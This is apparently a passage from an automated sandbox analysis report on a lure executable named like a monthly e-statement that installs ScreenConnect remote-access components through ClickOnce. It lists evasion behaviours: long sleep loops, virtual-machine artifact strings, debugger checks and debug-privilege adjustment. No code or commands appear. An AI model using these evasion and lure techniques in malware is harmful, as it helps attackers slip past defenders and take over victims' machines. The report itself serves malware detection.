Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 3179			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Window / User API: threadDelayed 6488			Jump to behavior

Found dropped PE file which has not been started or loaded

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Windows.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\Deployment\XGQ26BMR.JGT\LJ4HY9ZP.N47\ScreenConnect.Core.dll	Jump to dropped file

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe TID: 5544	Thread sleep count: 67 > 30	Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe TID: 5544	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -35971150943733603s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599875s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599765s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599653s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599544s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599437s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599309s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599188s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -599061s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598938s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598813s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598688s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598562s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598451s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598344s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598219s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -598108s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597932s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597777s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597665s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597560s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597453s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597343s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597234s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597124s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -597014s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596905s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596797s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596687s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596578s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596468s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596249s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596140s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -596031s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595922s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595812s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595702s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595593s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595474s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595359s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595238s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -595050s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594934s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594828s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594719s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594609s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594500s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594391s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594281s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe TID: 2128	Thread sleep time: -594172s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4760	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe TID: 5772	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe TID: 940	Thread sleep time: -922337203685477s >= -30000s

Queries disk information (often used to detect virtual machines)

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A4A4B FindFirstFileExA,

0_2_009A4A4B

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Thread delayed: delay time: 40000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599653	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599544	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599309	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 599061	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598451	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598219	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 598108	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597932	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597777	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597560	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597453	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597343	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597234	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597124	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 597014	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596905	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596797	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596687	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596578	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596468	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596249	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596140	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 596031	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595922	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595812	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595702	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595593	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595474	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595359	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595238	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 595050	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594934	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594828	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594719	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594500	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594391	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594281	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Thread delayed: delay time: 594172	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\	Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe	File opened: C:\Users\user\AppData\Local\Apps\	Jump to behavior

Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: dfsvc.exe, 00000002.00000002.2979497354.0000025D35E86000.00000004.00000020.00020000.00000000.sdmp, dfsvc.exe, 00000002.00000002.2983530978.0000025D396AB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3288443325.0000016BA622B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000006.00000002.3290214529.0000016BAB855000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2261874681.0000021CA1EDB000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000002.3288165449.0000021CA1EDC000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000007.00000003.2120616150.0000021CA1EDB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: svchost.exe, 00000007.00000002.3287628866.0000021CA1E41000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: ScreenConnect.ClientService.exe, 0000000B.00000002.3286846873.0000000001211000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: dfsvc.exe, 00000002.00000002.2983207645.0000025D39609000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWN
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: svchost.exe, 00000007.00000002.3289223236.0000021CA2E42000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: NXTVMWare
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Windows\System32\svchost.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Process queried: DebugPort			Jump to behavior

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_009A191F

Contains functionality to dynamically determine API calls

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

0_2_009A1000

Contains functionality to read the PEB

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A3677 mov eax, dword ptr fs:[00000030h]

0_2_009A3677

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Code function: 0_2_009A6893 GetProcessHeap,

0_2_009A6893

Enables debug privileges

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe	Process token adjusted: Debug

Launches processes in debugging mode, may be used to hinder debugging

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe

Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe"

Jump to behavior

Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009A1493 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_009A1493
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009A191F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009A191F
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009A4573 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_009A4573
Source: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe	Code function: 0_2_009A1AAC SetUnhandledExceptionFilter,	0_2_009A1AAC

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

.NET source code references suspicious native API functions

